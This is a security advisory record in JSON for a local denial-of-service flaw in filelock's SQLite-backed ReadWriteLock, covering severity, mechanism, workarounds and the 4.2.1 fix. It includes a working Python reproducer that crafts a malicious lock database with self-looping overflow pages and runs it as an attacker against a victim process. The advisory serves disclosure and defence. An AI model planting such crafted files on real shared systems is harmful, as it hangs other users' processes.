{"id":"GHSA-cwqr-hh33-gh44","summary":"filelock ReadWriteLock: a crafted lock database makes every acquire stall or hang regardless of timeout","details":"`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) run `PRAGMA journal_mode=MEMORY` on a fresh connection for every acquire. That statement makes SQLite load the whole schema (the `sqlite_master` table, which lists every table and index with its `CREATE` text) of whatever file sits at the lock path. The caller's `timeout` reaches SQLite only as `busy_timeout`, which bounds waits for another connection's lock, not schema loading. The only content checks reject non-regular files and WAL mode (write-ahead log, an SQLite mode that keeps changes in a side file). A local user who can place or overwrite the file at a `ReadWriteLock`'s database path can therefore make every `acquire_read` / `acquire_write` of every process using that lock ignore its `timeout` and `blocking=False`. That position needs a non-sticky shared directory, or a database owned by the user running the lock (below: the lock user) that other users may write.\n\nOne 37 KB crafted file stalls each acquire for as long as its author chooses while the process allocates about 1 GB. A second 28 KB layout makes the acquire of a free lock run without end, spinning at 100% CPU and ignoring Ctrl-C. The effect is availability only: the other user reads nothing and corrupts nothing. Affected versions are filelock 3.20.4 through 4.2.0.\n\nAnthropic's OSS Scanner reported this in private as `ANT-2026-NFPRHMYJ` [medium, CWE-400]: ReadWriteLock: crafted lock database hangs acquire regardless of timeout.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H` scores 5.5 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `AC:L` (low attack complexity): the other user plants one file; no race. `UI:N` (no user interaction). `A:H` (high availability impact): every acquire of every process using the lock runs for as long as that user chose, or does not return, with `timeout` and `blocking=False` ignored and `SIGINT` not delivered, so only killing the process ends it. `C:N` and `I:N` (no confidentiality or integrity impact): the other user reads nothing and corrupts nothing. `S:U` (scope unchanged).\n\nClassification from the external review: **conditional security**, an availability concern only when an untrusted actor can supply the database file (it needs a writable or replaceable database path). The scanner rated it medium. The review agrees with the mechanism and the precondition.\n\n## Scope and preconditions\n\n- The other party is a different local account that can create or replace the file at the lock path. One way: the lock directory is writable by that account and not sticky (the sticky bit is a directory flag that lets only a file's owner remove or rename it), for example a group-writable project or cache directory. There the account can be the first to create the database, or rename the lock user's database aside and put the crafted one in its place. The other way: the lock user's own database is writable by that account (`0666`), which is the setup a lock shared between accounts needs. In a `1777` directory the scanner wrote the crafted file over such a database in place, and the lock user's next acquire hung. The lock user must be able to open the file read-write, so a file the other user creates is `0666`.\n- Sticky directories and kernel settings. In a sticky world-writable directory such as `/tmp`, Linux with `fs.protected_regular=2` (a kernel setting) refuses the lock user's `O_CREAT` open of a file owned by the other account with `EACCES`. A database owned by the other user does not work there. That does not cover a `0666` database owned by the lock user. The scanner did not test systems with `fs.protected_regular=0` (the kernel's own default).\n- Platform. Every platform runs the same statements. On Windows the documentation already requires a lock directory that untrusted users cannot write, so the shared-directory setup is outside what the project supports there.\n- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`: [`_configure_and_begin` runs `PRAGMA busy_timeout=...; PRAGMA journal_mode=MEMORY;` on a fresh connection](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L814-L816), and for a read lock [`SELECT name FROM sqlite_master LIMIT 1` at line 832](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L832). The code in [`_do_acquire_inner` closes the previous connection and opens a new one on every acquire](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L745-L754). The only content checks are [`_open_lock_database`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1079-L1091) (regular file) and [`_raise_if_wal`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1094-L1101) (20 header bytes).\n\n## Introduced\n\nThe acquire path dates from `cfd4446` (\"feat(lock): add SQLite-based ReadWriteLock (#399)\", 2026-02-12), first released in **3.20.4** (verified: `git tag --contains cfd4446` gives 3.20.4). Since #657 (3.30.0) the lock reopens the connection on every acquire, so the stall repeats on every acquire rather than once per instance.\n\n## Mechanism\n\n`PRAGMA journal_mode=MEMORY` is the first statement that needs the schema. SQLite reads every row of `sqlite_master` and parses each row's `sql` text there. Run one at a time on the crafted file, `PRAGMA busy_timeout` returns at once and `PRAGMA journal_mode=MEMORY` takes the whole time. The read-mode `SELECT` needs the schema too. The caller's `timeout` reaches SQLite only as `busy_timeout` (lines 814 to 816 and 823 to 826), which limits how long SQLite waits for another connection's file lock. Loading the schema is not a wait, so nothing limits it. `blocking=False` and `timeout=0` reach SQLite as `busy_timeout=0` and stall the same way (2.4 s each with a 5-row file). `acquire_write` runs the same pragma. `AsyncReadWriteLock.read_lock(timeout=1)` stalls the same way (4.7 s with 10 rows; wrapping the acquire in `asyncio.wait_for(..., 2)` does not return earlier). A second `acquire_read` on the same instance stalls for as long as the first.\n\nThe constructor is not affected. Its validation connection (lines 484 and 485) runs no statement, so the lock user sees nothing until the first acquire. A stack dump taken 2 s into the stall shows the thread in `_configure_and_begin` at the `executescript` call. The lock accepts any SQLite file that is a regular file and not in WAL mode, whoever created it. Two layouts reach the load, at the same statement and with the same preconditions.\n\n**Long schema rows.** Each `sqlite_master` row is `('table', 't0001', 't0001', 2, 'CREATE TABLE t0001(x) --AAAA…')` with an `sql` text of 999,999,024 bytes, under SQLite's 1,000,000,000-byte limit. The file does not store the text. Each row's cell names page 2 as its first overflow page (a page that holds the part of a row too large for its own page), and the \"next overflow page\" field of page 2 names page 2 again. SQLite builds each row from the same 4 KB page, read about 244,000 times over. The header claims 244,142 pages, because SQLite rejects a record larger than page size times page count. The script extends the file to that length as a hole (unallocated space that reads as zeros), because SQLite also rejects a file shorter than its header claims. Eight rows fit in one 4 KB leaf page. The statements are valid `CREATE TABLE`s, so SQLite reports no error, and after the stall the acquire succeeds; it does not raise `Timeout`.\n\nMeasured with `read_lock(timeout=1)`: 1 row, 12,288 bytes on disk, returns after 0.6 s; 10 rows, 16,384 bytes, 4.8 s; 50 rows, 36,864 bytes, 23 s. Peak RSS (resident set size, the memory the process holds) is 981 MB in every case, because memory stays at one row's worth; the cost is about 0.47 s per row. Under a 512 MiB address-space limit the same acquire raises `MemoryError` from line 816.\n\n**Looping interior pages.** The long rows are one way in, not the cause: SQLite loads whatever schema the file holds, with no bound. A 20 KB file with no long rows, whose three index pages each point 200 times at the same child page (8,000,000 leaves), stalls `read_lock(timeout=1)` for 8 s with 10 MB of memory. Each extra level multiplies the time by the fan-out (the number of children per page).\n\nAt the largest fan-out SQLite accepts, the stall becomes a hang. In a 28,672-byte file of seven 4 KB pages, pages 1 to 6 are `sqlite_master` interior pages whose 660 cell pointers all name one 5-byte cell. That cell's child and the page's right-most child are both the next page, and page 7 is a leaf with one row of five NULLs. SQLite 3.40.1 refuses a page with more than 681 cells and a tree deeper than 20 pages, but does not notice that it reaches a page more than once. Each level therefore multiplies the rows of `sqlite_master` by 661.\n\nThe row is not a valid schema entry, and that does not stop the scan: SQLite raises `sqlite3.DatabaseError: malformed database schema (?)` only after the last row. One level raises `DatabaseError` at once. Two levels (12 KiB) give 436,921 rows after 0.16 s. Six levels (28 KiB) give 661⁶, about 8 × 10¹⁶ rows, still at line 816 with 30 s of CPU time used when killed after 30 s. On that file `acquire_write(timeout=1)`, `acquire_read(blocking=False)` and `acquire_read(timeout=0)` spin on the same line. `SIGINT` does not raise `KeyboardInterrupt` (the process was still running at 100% CPU 4 s after `kill -INT`), because the thread does not leave the one SQLite call.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-NFPRHMYJ`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport resource\nimport shutil\nimport subprocess\nimport sys\nimport time\n\n# set up: a cache directory both accounts can write, without the sticky bit\nshared_dir = \"/tmp/shared-cache\"\nshutil.rmtree(shared_dir, ignore_errors=True)\nos.mkdir(shared_dir)\nos.chmod(shared_dir, 0o777)\nlock_db = f\"{shared_dir}/cache.lock.db\"\n\n# attack: the attacker creates the lock database first, with 50 schema rows\nsubprocess.run(\n    [sys.executable, \"/tmp/repro.d/make_stalling_db.py\", lock_db, \"50\"],\n    user=\"attacker\", group=\"attacker\", extra_groups=[], check=True,\n)\nprint(\"lock database uses\", os.stat(lock_db).st_blocks * 512, \"bytes of disk\", flush=True)\n\n# victim: an application takes the read lock with a one-second timeout\nstarted = time.monotonic()\nsubprocess.run(\n    [sys.executable, \"/tmp/repro.d/victim_reader.py\", lock_db],\n    user=\"victim\", group=\"victim\", extra_groups=[], timeout=600,\n)\nvictim_ran_for = time.monotonic() - started\n\n# check: with timeout=1 the victim must be done within about a second, either holding the lock or with Timeout\nvictim_peak_rss_mb = resource.getrusage(resource.RUSAGE_CHILDREN).ru_maxrss // 1024  # the victim is the largest child\nprint(f\"victim process ran for {victim_ran_for:.1f} s, peak RSS {victim_peak_rss_mb} MB\")\nprint(\"BUG\" if victim_ran_for \u003e 10 else \"OK\")\n```\n\n**`repro.d/make_stalling_db.py`**\n\n```python\n#!/usr/bin/env python3\n# usage: make_stalling_db.py \u003cdatabase path\u003e \u003cnumber of schema rows\u003e\n#\n# Writes a SQLite database whose sqlite_master rows each carry ~1 GB of `sql` text, stored in a few 4 KB pages:\n# every row's text continues on one overflow page whose \"next overflow page\" field names itself.\nimport os\nimport struct\nimport sys\n\ndatabase, schema_rows = sys.argv[1], int(sys.argv[2])\n\nPAGE_SIZE = 4096\nLOOP_PAGE = 2\nCOMMENT_LEN = 999_999_000  # keeps each sql text just under SQLite's 1,000,000,000-byte string limit\nCLAIMED_PAGES = COMMENT_LEN // PAGE_SIZE + 2  # SQLite refuses a record longer than page size x pages in the file\nTABLE_INTERIOR_PAGE, TABLE_LEAF_PAGE = 0x05, 0x0D\n\n\ndef varint(value):\n    groups = [value & 0x7F]\n    while value := value \u003e\u003e 7:\n        groups.insert(0, value & 0x7F | 0x80)\n    return bytes(groups)\n\n\ndef schema_row_cell(rowid):\n    # the row ('table', name, name, 2, 'CREATE TABLE name(x) --AAAA...'): a valid statement, so SQLite reports no error\n    name = b\"t%04d\" % rowid\n    sql_start = b\"CREATE TABLE \" + name + b\"(x) --\"\n    sql_len = len(sql_start) + COMMENT_LEN\n    serial_types = b\"\".join(varint(t) for t in [13 + 2 * 5, 13 + 2 * len(name), 13 + 2 * len(name), 1, 13 + 2 * sql_len])\n    record_start = varint(1 + len(serial_types)) + serial_types + b\"table\" + name + name + b\"\\x02\" + sql_start\n    record_len = len(record_start) + COMMENT_LEN\n    # the file format's rule for how much of an overflowing table-leaf record stays on the leaf page\n    min_local, max_local = (PAGE_SIZE - 12) * 32 // 255 - 23, PAGE_SIZE - 35\n    local = min_local + (record_len - min_local) % (PAGE_SIZE - 4)\n    if local \u003e max_local:\n        local = min_local\n    return varint(record_len) + varint(rowid) + record_start.ljust(local, b\"A\") + struct.pack(\"\u003eI\", LOOP_PAGE)\n\n\ndef btree_page(page_type, cells, right_child=b\"\", header_offset=0):\n    page = bytearray(PAGE_SIZE)\n    content_start = PAGE_SIZE\n    cell_pointers = b\"\"\n    for cell in cells:\n        content_start -= len(cell)\n        page[content_start : content_start + len(cell)] = cell\n        cell_pointers += struct.pack(\"\u003eH\", content_start)\n    header = struct.pack(\"\u003eBHHHB\", page_type, 0, len(cells), content_start, 0) + right_child + cell_pointers\n    page[header_offset : header_offset + len(header)] = header\n    return page\n\n\n# pages 3 and up: the leaves of sqlite_master, about eight rows each\ncells = [schema_row_cell(rowid) for rowid in range(1, schema_rows + 1)]\nrows_per_leaf = (PAGE_SIZE - 8) // (len(cells[0]) + 2)\nleaves = [btree_page(TABLE_LEAF_PAGE, cells[i : i + rows_per_leaf]) for i in range(0, schema_rows, rows_per_leaf)]\n\n# page 2: the overflow page, pointing at itself, then 4092 bytes of comment text\nloop_page = struct.pack(\"\u003eI\", LOOP_PAGE) + b\"A\" * (PAGE_SIZE - 4)\n\n# page 1: the database header, then the root of sqlite_master with one child per leaf\nfirst_leaf, last_leaf = 3, 3 + len(leaves) - 1\nchildren = [struct.pack(\"\u003eI\", first_leaf + i) + varint((i + 1) * rows_per_leaf) for i in range(len(leaves) - 1)]\nroot_page = btree_page(TABLE_INTERIOR_PAGE, children, right_child=struct.pack(\"\u003eI\", last_leaf), header_offset=100)\nroot_page[:100] = b\"\".join([\n    b\"SQLite format 3\\0\",\n    struct.pack(\"\u003eH\", PAGE_SIZE),\n    bytes([1, 1]),  # file format versions: rollback journal, not WAL (which ReadWriteLock refuses)\n    bytes([0, 64, 32, 32]),  # reserved bytes per page and the three fixed payload fractions\n    struct.pack(\"\u003eI\", 1),  # file change counter\n    struct.pack(\"\u003eI\", CLAIMED_PAGES),  # database size in pages\n    struct.pack(\"\u003eII\", 0, 0),  # no freelist\n    struct.pack(\"\u003eII\", 1, 4),  # schema cookie, schema format\n    struct.pack(\"\u003eII\", 0, 0),  # default cache size, no auto-vacuum\n    struct.pack(\"\u003eI\", 1),  # text encoding: UTF-8\n    struct.pack(\"\u003eIII\", 0, 0, 0),  # user version, incremental vacuum, application id\n    bytes(20),\n    struct.pack(\"\u003eI\", 1),  # version-valid-for equals the change counter, so SQLite trusts the page count above\n    struct.pack(\"\u003eI\", 3040001),  # SQLite version that wrote the file\n])\n\nwith open(database, \"wb\") as file:\n    file.write(root_page + loop_page + b\"\".join(leaves))\n    written = file.tell()\n    file.truncate(CLAIMED_PAGES * PAGE_SIZE)  # SQLite also refuses a file shorter than it claims; this stays a hole\nos.chmod(database, 0o666)  # the victim's ReadWriteLock opens the database read-write\nprint(f\"attacker: wrote {database}: {schema_rows} schema rows in {written} bytes, apparent size {CLAIMED_PAGES * PAGE_SIZE}\")\n```\n\n**`repro.d/victim_reader.py`**\n\n```python\nimport sys\nimport time\n\nfrom filelock import ReadWriteLock, Timeout\n\nlock = ReadWriteLock(sys.argv[1])\nstarted = time.monotonic()\ntry:\n    with lock.read_lock(timeout=1):\n        outcome = \"acquired\"\nexcept Timeout:\n    outcome = \"timed out\"\nprint(f\"victim: read_lock(timeout=1) {outcome} after {time.monotonic() - started:.1f} s\")\n```\n\n## Failure sequence\n\n```mermaid\nflowchart TB\n    P0[\"other user puts a crafted SQLite file at the lock path (mode 0666), or overwrites a 0666 database owned by the lock user\"] --\u003e P1[\"lock user's acquire_read(timeout=1) opens a fresh connection, header is not WAL so it is accepted\"]\n    P1 --\u003e P2[\"PRAGMA busy_timeout then PRAGMA journal_mode=MEMORY loads all of sqlite_master, busy_timeout does not apply to schema loading\"]\n    P2 --\u003e P3[\"50 rows of ~1 GB through one self-referencing overflow page: returns after 24.6 s at 981 MB RSS, lock granted, no Timeout\"]\n    P2 --\u003e P4[\"6 interior levels pointing at one child (28 KiB): 661^6 rows, does not return, 100% CPU, SIGINT ignored, process must be killed\"]\n    classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332;\n    classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000;\n    classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a;\n    class P0,P1,P2 info;\n    class P3,P4 bad;\n```\n\n## Evidence\n\nThe scanner's reproducer runs as root and drops to `attacker` and `victim`. It recreates `/tmp/shared-cache` with mode `0777` and no sticky bit. It runs `make_stalling_db.py /tmp/shared-cache/cache.lock.db 50` as `attacker`. That script writes the header and the `sqlite_master` root on page 1, the self-referencing overflow page on page 2, and leaf pages holding 50 valid `CREATE TABLE tNNNN(x) --AAAA…` rows whose text runs to under 1 GB through page 2, extended to the claimed page count as a hole, mode `0666`. It then runs `victim_reader.py` (`ReadWriteLock(path)` and one `with lock.read_lock(timeout=1):`) as `victim` and times it:\n\n```\nattacker: wrote /tmp/shared-cache/cache.lock.db: 50 schema rows in 36864 bytes, apparent size 1000005632\nlock database uses 36864 bytes of disk\nvictim: read_lock(timeout=1) acquired after 24.6 s\nvictim process ran for 24.8 s, peak RSS 981 MB\nBUG\n```\n\nThe verdict is `BUG` when the `victim` process, whose only work is an acquire with a one-second timeout, ran for more than 10 s. A separate script in the report (`looping_db.py`) builds the looping file; the same `victim_reader.py` run on it as `victim` does not return. A `victim` process that had already used the lock stalled on its next acquire after the other user swapped the file under it. In a `1777` directory a `0666` database owned by `victim`, overwritten in place with the looping file, hung the next acquire.\n\nOur verification: `BUG` on the scanned commit `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #834 head the `victim` process stops with a `ValueError` after 0.1 s at 24 MB peak RSS and the reproducer prints `OK`.\n\n## Impact\n\nAnother local user who can create or replace the lock database makes every `acquire_read` / `acquire_write` of every process using that `ReadWriteLock` run for a time of their choosing (about 500 bytes of disk per extra half second) while allocating about 1 GB, or not return at all, regardless of `timeout` or `blocking=False`. This goes beyond what holding the lock gives that user, because a held lock ends in `Timeout` when the caller's timeout runs out, and this does not. With the looping-page layout the acquiring thread spins at 100% of one CPU on a free lock, `Timeout` is not raised, Ctrl-C does not interrupt it, and only killing the process ends it. It is a denial of service of the lock user's process only: it reads nothing and corrupts nothing, and in the long-row case the lock is still granted afterwards.\n\n## Workarounds\n\n- Keep the `ReadWriteLock` database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky.\n- Do not give the lock a database another account may write. The lock creates its database `0600`, and leaving it that way keeps other accounts from supplying its content. A lock shared between accounts through a `0666` database stays reachable even in `/tmp`.\n- If a stall or hang appears, the file at the lock path is the cause; replacing it with an empty file restores the lock.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/834\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)\n- 2026-10-16 05:38 UTC: draft advisory GHSA-v4x8-3wr5-3wq8 created for the group; this per-finding draft split out of it\n- 2026-10-16 01:15 UTC: fix PR #834 opened","aliases":["CVE-2026-112915"],"modified":"2026-10-28T21:15:04.923553251Z","published":"2026-10-28T21:08:49Z","database_specific":{"cwe_ids":["CWE-400"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-10-28T21:08:49Z","nvd_published_at":"2026-10-20T15:17:15Z"},"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-cwqr-hh33-gh44"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112915"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/834"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}],"affected":[{"package":{"name":"filelock","ecosystem":"PyPI","purl":"pkg:pypi/filelock"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.20.4"},{"fixed":"4.2.1"}]}],"versions":["3.20.4","3.21.0","3.21.1","3.21.2","3.22.0","3.23.0","3.24.0","3.24.1","3.24.2","3.24.3","3.25.0","3.25.1","3.25.2","3.28.0","3.29.0","3.29.1","3.29.2","3.29.3","3.29.4","3.29.5","3.29.6","3.29.7","3.30.0","3.30.1","3.30.2","3.30.3","3.31.0","3.31.1","3.31.2","3.32.0","3.32.2","3.32.3","3.32.4","3.32.5","3.32.6","3.32.7","4.0.0","4.0.1","4.0.10","4.0.11","4.0.12","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.1","4.1.2","4.2.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 4.2.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-cwqr-hh33-gh44/GHSA-cwqr-hh33-gh44.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"}]}